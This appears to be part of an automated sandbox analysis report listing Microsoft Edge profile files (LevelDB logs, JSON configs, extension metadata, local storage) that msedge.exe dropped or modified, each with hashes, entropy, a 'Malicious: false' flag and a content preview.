SSDEEP:	6:HQb1923oH+Tcwtk2WwnvB2KLlVQI9yq2P923oH+Tcwtk2WwnvIFUv:9YebkxwnvFLIIAv4YebkxwnQFUv
MD5:	C85FCED9F804D4D729354765B6E916BE
SHA1:	5CC8864E048DF61E8F37EC445C06C9654FC492D5
SHA-256:	70E8FDE38491330DF6857084348BE0AAC6651835598B8912701D360D7773A992
SHA-512:	D38D4571334B7ECA5A2FC18AB267B71B4E375858952F1DD9CC6A02F72F70F837228CAFD726001D8C7FF1748F1664553BDDAC2DF3EAB8412385D61CFDCE4F970C
Malicious:	false
Preview:	2024/11/22-17:06:28.081 2270 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/22-17:06:28.385 2270 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.324603838234574
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rq:C1gAg1zfvC
MD5:	17230D1D3FFB6110AEB9D6BD402BD30B
SHA1:	061023FFE7F037246C205098AF1EB5C786DC5B59
SHA-256:	FF698F843BD5F74EF542597629937B053249868E8A9CC4474968ED5050DAC8E3
SHA-512:	637202C98AABE56639E2572BA7D104834CF1D60EF357B19719FB4E65AD14C2E4160570526EB6430B4929AC4011015DF7F516691FB88330A09454391F76647DEB
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.163795495521342
Encrypted:	false
SSDEEP:	6:HVq2P923oH+Tcwt8aPrqIFUt8YgZmw+YIkwO923oH+Tcwt8amLJ:1v4YebL3FUt8b/+x5LYebQJ
MD5:	FCB8C21AFD1F9E98A557A9B6553B87B0
SHA1:	0F13969F6BF6414011293D8869227582268E97E0
SHA-256:	C814D61936B834F6229F48B23E48886033B4CB2CA02DB3D1AEA09CEC1D9E7A66
SHA-512:	7FE9AE1D2B6A314E56E4A8A2CDD83EDBBEC351DDF84094EAFC575CCD9A6EBE509038C2FA92C397A177641414E4C8F6ACE9E11C5030CE5A9ECEEE4A2A2A24E560
Malicious:	false
Preview:	2024/11/22-17:06:22.948 1840 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/22-17:06:22.948 1840 Recovering log #3.2024/11/22-17:06:22.948 1840 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.163795495521342
Encrypted:	false
SSDEEP:	6:HVq2P923oH+Tcwt8aPrqIFUt8YgZmw+YIkwO923oH+Tcwt8amLJ:1v4YebL3FUt8b/+x5LYebQJ
MD5:	FCB8C21AFD1F9E98A557A9B6553B87B0
SHA1:	0F13969F6BF6414011293D8869227582268E97E0
SHA-256:	C814D61936B834F6229F48B23E48886033B4CB2CA02DB3D1AEA09CEC1D9E7A66
SHA-512:	7FE9AE1D2B6A314E56E4A8A2CDD83EDBBEC351DDF84094EAFC575CCD9A6EBE509038C2FA92C397A177641414E4C8F6ACE9E11C5030CE5A9ECEEE4A2A2A24E560
Malicious:	false
Preview:	2024/11/22-17:06:22.948 1840 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/22-17:06:22.948 1840 Recovering log #3.2024/11/22-17:06:22.948 1840 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.194927710346835
Encrypted:	false
SSDEEP:	6:H1q2P923oH+Tcwt865IFUt8YUzZmw+YsnkwO923oH+Tcwt86+ULJ:Vv4Yeb/WFUt8zz/+Rn5LYeb/+SJ
MD5:	937CF807C46CE69E0363893B6E04099C
SHA1:	A8300D5B04E3DE0E431EEF0004962DE590F0FF52
SHA-256:	D9418E361C20BD66F1D82229A2B697B635A440F09D9D3FEC814D9680E8365146
SHA-512:	67D39136B992D5FE2D540486A50AAEDDB832F0923995534CE2691021605AC6C48E1EFA8FC33918805DBA6DB5A4EE92EBB3AA517C60D0879F6D951C58B75DAF26
Malicious:	false
Preview:	2024/11/22-17:06:22.957 1840 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/22-17:06:22.975 1840 Recovering log #3.2024/11/22-17:06:22.980 1840 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.194927710346835
Encrypted:	false
SSDEEP:	6:H1q2P923oH+Tcwt865IFUt8YUzZmw+YsnkwO923oH+Tcwt86+ULJ:Vv4Yeb/WFUt8zz/+Rn5LYeb/+SJ
MD5:	937CF807C46CE69E0363893B6E04099C
SHA1:	A8300D5B04E3DE0E431EEF0004962DE590F0FF52
SHA-256:	D9418E361C20BD66F1D82229A2B697B635A440F09D9D3FEC814D9680E8365146
SHA-512:	67D39136B992D5FE2D540486A50AAEDDB832F0923995534CE2691021605AC6C48E1EFA8FC33918805DBA6DB5A4EE92EBB3AA517C60D0879F6D951C58B75DAF26
Malicious:	false
Preview:	2024/11/22-17:06:22.957 1840 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/22-17:06:22.975 1840 Recovering log #3.2024/11/22-17:06:22.980 1840 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.18266265495728
Encrypted:	false
SSDEEP:	6:Hk9+q2P923oH+Tcwt8NIFUt8YkJZmw+YO9VkwO923oH+Tcwt8+eLJ:E9+v4YebpFUt8DJ/+l9V5LYebqJ
MD5:	CD57C34B33E70035217A0C3BBFED0003
SHA1:	4D51123EFA6E0A9062D3E70FB67474E61511FFA3
SHA-256:	756BA738ACA65C49FCC5934D13BC91348A5DFFABBB53E364B94E8EEBAD0918E5
SHA-512:	86C8204015EB68A86A6739292EC4E276CD3A9E4D245CEF220DC63AF9F150D8B188E2C558B80CFCC78F8BDFE3D212AA19DDB3208098C6219FCE75C92583DFC877
Malicious:	false
Preview:	2024/11/22-17:06:23.657 1c4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/22-17:06:23.657 1c4c Recovering log #3.2024/11/22-17:06:23.659 1c4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.18266265495728
Encrypted:	false
SSDEEP:	6:Hk9+q2P923oH+Tcwt8NIFUt8YkJZmw+YO9VkwO923oH+Tcwt8+eLJ:E9+v4YebpFUt8DJ/+l9V5LYebqJ
MD5:	CD57C34B33E70035217A0C3BBFED0003
SHA1:	4D51123EFA6E0A9062D3E70FB67474E61511FFA3
SHA-256:	756BA738ACA65C49FCC5934D13BC91348A5DFFABBB53E364B94E8EEBAD0918E5
SHA-512:	86C8204015EB68A86A6739292EC4E276CD3A9E4D245CEF220DC63AF9F150D8B188E2C558B80CFCC78F8BDFE3D212AA19DDB3208098C6219FCE75C92583DFC877
Malicious:	false
Preview:	2024/11/22-17:06:23.657 1c4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/22-17:06:23.657 1c4c Recovering log #3.2024/11/22-17:06:23.659 1c4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:fDl9tFlljq7A/mhWJFuQ3yy7IOWUPnnotdweytllrE9SFcTp4AGbNCV9RUIan:xG75fOl4d0Xi99pEYQ
MD5:	148743CCC38598E962EFE5AA565DD7DE
SHA1:	1020680C6064F87DA7F61A67D38B7AD08C7B568B
SHA-256:	206C81FAA4C8562E04853EA9DF56839EACE8EB83EE9C6EDA589B59A95D2CA1DC
SHA-512:	C8333544DBA8E8E1E281EBFBF318555856449128539D707026779BC075ED19F8DED9F07BA640FF50FB639A01709DA5E97A7C1548A16F2F25539019F689B3F64D
Malicious:	false
Preview:	............*......&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647396563097426
Encrypted:	false
SSDEEP:	384:aj9P0CjlbP/Kbtpgam6IocXQkQerMhj773pLLRKToaAu:adJlbP/jbXe2MF7NRKcC
MD5:	C43B43F8BE432EAF24071663C514A73A
SHA1:	AD17CFA2C083E9D169CEEE6319F11AA9178BEF17
SHA-256:	4B5A91A51A87B1416ECBBDA54A3F7A0F3C55F6E0E8968C79250121259F4185B7
SHA-512:	0FE074024612E68FE2B71DF97033A6E5E20E3C5FAAE108139D9DA6BF6C61AE348D48694CA4412D0375D47DFF1A222BB5725D2608311E1CDD8BF6405DBCF49A37
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.263289528598713
Encrypted:	false
SSDEEP:	12:h4v4Yeb8rcHEZrELFUt8FJ/+ID5LYeb8rcHEZrEZSJ:I4Yeb8nZrExg8pLYeb8nZrEZe
MD5:	9B51C62DE1CF9D06ED6118D1C56EFEB9
SHA1:	33FE51D82B2B16197F82BA8A4839A30683A53159
SHA-256:	925488E803B72EF6F9A90E6E33682E4386A774DBF7800F5E104F86B7EC8CF568
SHA-512:	9CB80E691A854A4426C16ECF9E5152F81D5CBCBD3EFAB7FACD735BC9B6AC0E1B692A08880EE29E5CCAD341985883319A3E9BC5213F428038EA6E294068732DD7
Malicious:	false
Preview:	2024/11/22-17:06:27.380 1df4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/22-17:06:27.381 1df4 Recovering log #3.2024/11/22-17:06:27.382 1df4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.263289528598713
Encrypted:	false
SSDEEP:	12:h4v4Yeb8rcHEZrELFUt8FJ/+ID5LYeb8rcHEZrEZSJ:I4Yeb8nZrExg8pLYeb8nZrEZe
MD5:	9B51C62DE1CF9D06ED6118D1C56EFEB9
SHA1:	33FE51D82B2B16197F82BA8A4839A30683A53159
SHA-256:	925488E803B72EF6F9A90E6E33682E4386A774DBF7800F5E104F86B7EC8CF568
SHA-512:	9CB80E691A854A4426C16ECF9E5152F81D5CBCBD3EFAB7FACD735BC9B6AC0E1B692A08880EE29E5CCAD341985883319A3E9BC5213F428038EA6E294068732DD7
Malicious:	false
Preview:	2024/11/22-17:06:27.380 1df4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/22-17:06:27.381 1df4 Recovering log #3.2024/11/22-17:06:27.382 1df4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.66258976006125
Encrypted:	false
SSDEEP:	24:7EZWkl5JNevXQiXZNW2sFV03y1x4g85My0iW4UlHhkTN5zgFHHmi28/V:gZVJevtXZE2iV03Sx4RSy0iNP+HH328t
MD5:	31F2DDB2715158E1F3B25E0746C62B78
SHA1:	D32D9B944BB3139C666311C0F6DC573BCADDB689
SHA-256:	6D4693DF1177230D8D922DBD470DA68F59F40B496E73C012EFBAEB5CF7ED54E4
SHA-512:	272EA389C71089E3F072863A082FF12DEA682409F6839E3BBB30D4CB00099D350FC5D26F49EDCC43D2A9FCDC34D1A84C0F931FD93B9732A3B3DB7B6E35D828DE
Malicious:	false
Preview:	a.Z..................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1732313198044.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732313199000.._https://ntp.msn.com..MUID!.1981927DEF30640D17DC8742EE526551.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732313198148,"schedule":[30,-1,14,-1,-1,-1,20],"scheduleFixed":[30,-1,14,-1,-1,-1,20],"simpleSchedule":[25,28,16,40,44,19,21]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732313197998.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Fri Nov 22 2024 17:06:37 GMT-0500 (Eastern Standa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.09852211638723
Encrypted:	false
SSDEEP:	6:Hj0q2P923oH+Tcwt8a2jMGIFUt8YjPZmw+Yjz3kwO923oH+Tcwt8a2jMmLJ:Iv4Yeb8EFUt88/+i5LYeb8bJ
MD5:	2CBE854C8B32DF8834F4CA8D260973C4
SHA1:	72267ED90FEBB4F407AC4CB8FF2A32689F6BA24E
SHA-256:	B86070D23102BAEB61CF6F4F3DBF0E40837D4AD7CB72707C8FA41A4674B71B90
SHA-512:	63080D29C49E981F0BD1B9807B106C2C29E03387447D09A6B46DD3EA18797F8B7179D710BF5E6697E3E4DB2531230741A3EBE30E24E985390353F548D6FF13DA
Malicious:	false
Preview:	2024/11/22-17:06:23.223 1d00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/22-17:06:23.225 1d00 Recovering log #3.2024/11/22-17:06:23.227 1d00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.09852211638723
Encrypted:	false
SSDEEP:	6:Hj0q2P923oH+Tcwt8a2jMGIFUt8YjPZmw+Yjz3kwO923oH+Tcwt8a2jMmLJ:Iv4Yeb8EFUt88/+i5LYeb8bJ
MD5:	2CBE854C8B32DF8834F4CA8D260973C4
SHA1:	72267ED90FEBB4F407AC4CB8FF2A32689F6BA24E
SHA-256:	B86070D23102BAEB61CF6F4F3DBF0E40837D4AD7CB72707C8FA41A4674B71B90
SHA-512:	63080D29C49E981F0BD1B9807B106C2C29E03387447D09A6B46DD3EA18797F8B7179D710BF5E6697E3E4DB2531230741A3EBE30E24E985390353F548D6FF13DA
Malicious:	false
Preview:	2024/11/22-17:06:23.223 1d00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/22-17:06:23.225 1d00 Recovering log #3.2024/11/22-17:06:23.227 1d00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\00bebce9-093f-4704-914a-83b228979897.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\127e8cb7-30de-492c-b97f-ec84a733e344.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1664
Entropy (8bit):	5.329905678365938
Encrypted:	false
SSDEEP:	48:YcgCzs1tsu1fcKsgleeBkBRsdCgHQbxo+:Fur1/keBkBaTQVo+
MD5:	26F8285A40F9C85692096C44743EC055
SHA1:	BA1405CAC7319A625186E18BCFD5CF0565B361CB
SHA-256:	D3E3C9E9B6B0DF3B47E114A8F0703E7E7287898371DB5C4F1FB04BCF8B889CB0
SHA-512:	BD22673A18644074733D54C539C81827AE9BF46CB0711638CF1E45ED4E23181B1232B2A36520E6DB5C852C1C26691EE08F8CC4D58789913D2808520BC9634749
Malicious:	false
